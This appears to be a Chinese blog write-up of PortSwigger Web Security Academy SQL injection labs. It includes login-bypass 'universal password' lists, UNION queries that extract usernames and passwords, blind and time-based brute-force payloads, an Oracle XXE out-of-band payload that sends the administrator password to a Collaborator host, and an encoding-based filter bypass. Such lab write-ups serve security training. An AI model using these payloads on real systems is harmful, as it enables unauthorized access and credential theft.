BURP_SQL 靶场

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

:::info
This lab contains an SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out an SQL query like the following:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
To solve the lab, perform an SQL injection attack that causes the application to display details of all products in any category, both released and unreleased.
:::
image.png
点击 view details
image.png
[https://0a1a000803a746a4c0cbbd7d0031001c.web-security-academy.net/product?productId=6](https://0a1a000803a746a4c0cbbd7d0031001c.web-security-academy.net/product?productId=6)
在6 后面添加一个 ’
image.png
提示产品ID 无效 那就是不存在 了
那就是应该不存在sql注入了 (经过测试的 也不是数字型sql注入 )
返回再找一下是否存在其他sql注入点
image.png
点击蓝色字体 ,可以跳转到其他页面
image.png
输入一个 单引号就会报五百的服务器错误 ,可能存在sql 注入
image.png
使用最常用的OR 永恒为真 去测试一下
’ or 1=1 –
image.png
显示是完成了任务 ,证明存在sql注入了

Lab: SQL injection vulnerability allowing login bypass

:::info
This lab contains an SQL injection vulnerability in the login function.
To solve the lab, perform an SQL injection attack that logs in to the application as the user. administrator
:::
名字叫做可以绕过登录的sql注入
想到绕过登录 ,一般使用sql注入的万能密码

image.png
登录框 使用弱口令登录失败
image.png
输入admin’ 报错 服务器错误
是否存在sql注入呢
这里使用万能密码 永恒为真直接登录
image.png
表示通过了
这里贴一下万能密码

万能密码

:::info
‘or’=‘or’
admin
admin’–
admin’ or 4=4–
admin’ or ‘1’=‘1’–
admin888
"or “a”="a
admin’ or 2=2#
a’ having 1=1#
a’ having 1=1–
admin’ or ‘2’=‘2
’)or(‘a’=‘a
or 4=4–
c
a’or’ 4=4–
"or 4=4–
‘or’a’=‘a
“or”="a’=‘a
‘or’’=‘
‘or’=‘or’
1 or ‘1’=‘1’=1
1 or ‘1’=‘1’ or 4=4
‘OR 4=4%00
"or 4=4%00
‘xor
admin’ UNION Select 1,1,1 FROM admin Where ‘’=’
1
-1%cf’ union select 1,1,1 as password,1,1,1 %23
1
17…admin’ or ‘a’='a
‘or’=‘or’
‘or 4=4/
something
’ OR ‘1’=‘1
1’or’1’=‘1
admin’ OR 4=4/

1’or’1’='1
:::
:::info
asp aspx万能密码
1:"or “a”="a
2: ')or(‘a’=‘a
3:or 1=1–
4:‘or 1=1–
5:a’or’ 1=1–
6:“or 1=1–
7:‘or’a’=‘a
8:“or”="a’='a
9:'or”=’
10:‘or’=‘or’
11: 1 or ‘1’=‘1’=1
12: 1 or ‘1’=‘1’ or 1=1
13: ‘OR 1=1%00
14: "or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where "=’ (替换表名admin)
密码 1
17…admin’ or ‘a’='a 密码随便

:::
:::info

PHP万能密码

'or 1=1/*
User: something
Pass: ’ OR ‘1’='1
:::
:::info

jsp 万能密码

1’ or ‘1’=‘1
admin’ OR 1=1/*
:::

Lab: SQL injection UNION attack, determining the number of columns returned by the query

:::info
This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.
To solve the lab, determine the number of columns returned by the query by performing an SQL injection UNION attack that returns an additional row containing null values.
:::

目标是使用 union 去查询列数
image.png
输入单引号使他正常报错
image.png
使用order by 进行查询有几个地方可以回显
查询到4的时候就报错 了
image.png
这里发现一个点 前面这种判断列都是使用 1,2,3 来代替
但这里使用1,2,3 回显错误
image.png
把1,2,3 换成 NULL 就回显成功
image.png
新知识 啊

Lab: SQL injection UNION attack, finding a column containing text

:::info
This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data.
The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform an SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.
:::
image.png
image.png
还是单引号报错
目标是找出可以写字符串的那一列
从第一个开始测试 ,到第三个 只有中间那个能写入字符串

image.png
image.png

Lab: SQL injection UNION attack, retrieving data from other tablesLab: SQL injection UNION attack, retrieving data from other tables

:::info
This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.
The database contains a different table called users, with columns called username and password.
To solve the lab, perform an SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.
:::
目的 查询user 表里面的内容 拿到 密码 登录上去
使用order by 查询
到3 就报错了
image.png
使用刚才的union select 查询可以写字符串的列
image.png
两个地方都可以
image.png
这里查询出了administrator 的 用户密码
登录就成功 了image.png
成功
前面五个题 让我了解到了基础的sql 注入 绕过登录权限 ,查询sql 的列 ,使用 union select 查询可以写入字符串的位置 , 查询我们需要的数据(users) 表

Lab: SQL injection UNION attack, retrieving multiple values in a single column

讲注入的结果放在单列中
一开始没懂上面意思 ,上面叫把查询结果放在单列中 ,
查了之后才知道,有的时候,查询结果只返回单列,不返回多列 。
所以要是使用方法把结果放在一列显示出来 。
在列中间加一下分隔符就可以了
payload
' UNION SELECT username || '~' || password FROM users--
image.png
可以看出 有两列
image.png
看得出来 只有第二列才返回信息
image.png
?category=Lifesty' union select NULL,username || '~' || password FROM users--=
这样就把密码注入出来了
image.png

Lab: SQL injection attack, querying the database type and version on Oracle

:::info
This lab contains an SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.
To solve the lab, display the database version string.
:::
请显示数据库版本字符串。
几种数据库的版本查询方式

数据库类型查询版本语句
Sql Server & MysqlSELECT @@version
OracleSELECT * FROM v$version
PostgreSELECT version()

依旧是两列
image.png
这里如果直接查询字段 字符串 是不可行的
image.png
要后面加入表 from 表
根据提示 Oraclel 数据库 有一个内置表
Oracle 上有一个内置表,您可以将其用于此目的。例如:dualUNION SELECT ‘abc’ FROM dual
加上 from dual – 试试

image.png
要查看数据库的信息 from 指向的就是数据库 v&version
payload
' union select banner,null from v$version --
image.png

--------------------------------------------------

Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

依旧是单引号报错
image.png
注释 – -
image.png
order by
image.png
查询版本 且 没有啥过滤
image.png

Lab: SQL injection attack, listing the database contents on non-Oracle databases

image.png
这个靶场每个环境的数据库还不一样

查看的他的数据库备忘录

SQL 数据库备忘录

https://portswigger.net/web-security/sql-injection/cheat-sheet

查询表名
image.png
查询字段
image.png
好像不是这个
image.png
找到一个users的 表
image.png
查字段
image.png
查账号密码
image.png
成功登录
image.png

Lab: SQL injection attack, listing the database contents on Oracle

image.png

Oracle中等效于信息模式的操作

其实Oracle中也有类似信息模式的东西,比如查所有的表
SELECT * FROM all_tables
直接叫all_tables
SELECT * FROM all_tab_columns WHERE table_name = ‘USERS’

image.png
ALL_TABLES 挺好用的
查字段
这里不支持或者禁用了informatin_schema
这里使用 all_tab_columns
image.png
查数据
image.png

---------------------Blind----------------------

Lab: Blind SQL injection with conditional responses

image.png
提示了都是小写密码
抓包获取信息
image.png
这里根据题目 可以知道 cookie 是容易受攻击的 正常是会显示 weclome back!
如果我们输入一个单引号
image.png
并没有找到 welcome
我使用 or 永恒为真 然后注释掉
image.png
welcome 又回来了表示 存在sql 注入的 但是不回显数据
查询一下是否存在users 这张表
image.png
验证条件是否为真,确认存在一个名为 的表。users
payload

select ‘a’ from users limit 1 =‘a’
这里查询的a 在第一个是否是 a
因为我们要查询的用户名是 administrator
返回的是welcome 就证明是存在的

下一般验证是否存在administrator 这个用户
image.png
还是存在的
下一步是确定用户密码中有多少个字符
这里爆破得知是 0-19 是20个字符
image.png

下一步就是查出密码的值
payload
'+and+(select+substring(password,1,1)+from+users+where+username%3d'administrator')%3d'a'--
image.png

image.png
image.png
成功登录 完成

Lab: Blind SQL injection with conditional errors

cookie 处 输入一个单引号报错
image.png
不知道是否真实存在sql注入 也有可能是其他错误
使用两个 ’ ’ 引号试一下 闭合一下
验证错误是否消失。这表明语法错误
image.png
返回正常的信息

‘||(select ‘’)||’
查询无效 还是返回五百 可能是哪里错误了 也有可能是数据库 这里知道是oracle数据库
image.png
from dual 表 试一下
image.png
返回正常的 这里可以表示 是与数据库交互的 存在盲注

查询users 表
image.png
证明存在的
payload
||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

  1. 这表明您可以根据特定条件的真实情况有条件地触发错误。该语句测试一个条件,如果条件为真,则计算一个表达式,如果条件为 false,则计算另一个表达式。前一个表达式包含被零除,这会导致错误。在这种情况下,两个有效负载测试条件和 ,当条件为 时会收到错误。CASE1=11=2true
  2. 可以使用此行为来测试表中是否存在特定条目。

使用以下查询检查用户名是否存在: administrator
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

判断密码长度
'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
image.png

爆破密码的值
'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
image.png
image.png
登录成功
image.png

Lab: Blind SQL injection with time delays

利用 SQL 注入漏洞造成 10 秒延迟。
image.png
还是cookie
输入单引号测试
image.png
并没有发现报错
几种数据库的延时 方法
image.png

' || pg_sleep(10) -- 延时10 秒
image.png
一般只会延迟一秒 两秒
image.png
但是这里明显延时了不止十秒 故而成功延迟了

Lab: Blind SQL injection with time delays and information retrieval

image.png

还是cookie
但也是没有任何响应但数据是同步的 ,还是可以使用延时来测试
单引号正常响应
image.png

使用 pg_slepp(4) 还是可以正常延迟
image.png
验证是否存在administrator的用户

’ select case when (username=‘administrator’) then pg_sleep(4) else pg_sleep(0) end from users --;
这样是延迟不了的 ,这里还存在一个堆叠注入
就是在单引号的后面加入分号

image.png
加入 %3b 成功延时五秒
这里如果直接使用l; 是不可行的
image.png
然后测试密码长度有多少个字符
payload

'%3bselect case when (username=‘administrator’ and length(password)>1) then pg_sleep(5) else pg_sleep(0) end from users –
使用case去进行查询

SQL CASE表达式是一种通用的条件表达式,类似于其它语言中的if/else语句

image.png
成功延时
密码是20位验证之后
image.png

bp爆破密码

‘%3BSELECT+CASE+WHEN+(username=‘administrator’+AND+SUBSTRING(password,2,1)=’§a§')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users—

image.png
这里爆破之后延迟10秒的太多了 根本不是我想要的 也不知道哪里错了
这里是线程的问题 线程调大了的话有偏差
线程调成1
image.png
就爆破出来了

Lab: Blind SQL injection with out-of-band interaction

一个带外注入 ,这里提示可以使用xxe 的模式去外带
XXE 基本格式

<?xml version="1.0"?>

]>
4

这里使用oracle 对xml 字段的处理 使用 xmltype

‘+UNION+SELECT+EXTRACTVALUE(xmltype(’<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+“http%3a//这里使用burp默认的dns检测 /”>+%25remote%3b]>‘),’/l’)+FROM+dual–

image.png
由于我这里burp 有问题检测不了
其他的服务器 他靶场又不允许没法验证

Lab: Blind SQL injection with out-of-band data exfiltration

TrackingId=x’+UNION+SELECT+EXTRACTVALUE(xmltype(‘<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//’||(SELECT+password+FROM+users+WHERE+username%3d’administrator’)||‘.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>’),‘/l’)+FROM+dual–

Lab: SQL injection with filter bypass via XML encoding

image.png
XML 格式的数据
image.png

storeid 试一下能不能里面数字相加 就和模板注入一样 {1+1}
这里1+5 报错
image.png
这里1+1 返回200 正常
image.png
输入一个union select username
提示检测到攻击
image.png
那我们就要绕过这个 ,一般使用编码进行绕过
使用 bp 工具 hackvertor
image.png
编码发送之后 就不会拦截了
image.png
绕过之后就查询用户密码
payload

<@hex_entities>1 UNION SELECT username || ‘~’ || password FROM users<@/hex_entities>

image.png

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值